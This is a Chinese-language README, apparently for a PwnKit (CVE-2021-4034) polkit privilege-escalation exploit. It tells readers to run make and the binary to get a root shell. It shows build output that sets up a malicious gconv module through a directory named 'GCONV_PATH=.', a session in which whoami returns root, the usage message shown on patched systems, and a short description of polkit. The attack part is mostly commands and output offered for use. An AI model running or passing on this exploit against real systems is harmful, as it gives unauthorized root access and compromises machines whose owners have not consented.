Polkit 权限提升漏洞的一日利用
只需执行 make、./cve-2021-4034,即可享受 root shell。
原作者发布的安全公告见此处
如果利用成功,你将立即获得 root shell:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
在大多数系统上更新 polkit 会修补该漏洞,因此你将看到用法说明,程序随即退出:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Polkit(原 PolicyKit)是用于控制类 Unix 操作系统中系统级权限的组件。它为无特权进程与特权进程之间的通信提供了一种有组织的方式。也可以使用 polkit 通过 pkexec 命令以提升的权限执行命令,后面跟上要执行的命令(以 root 权限运行)。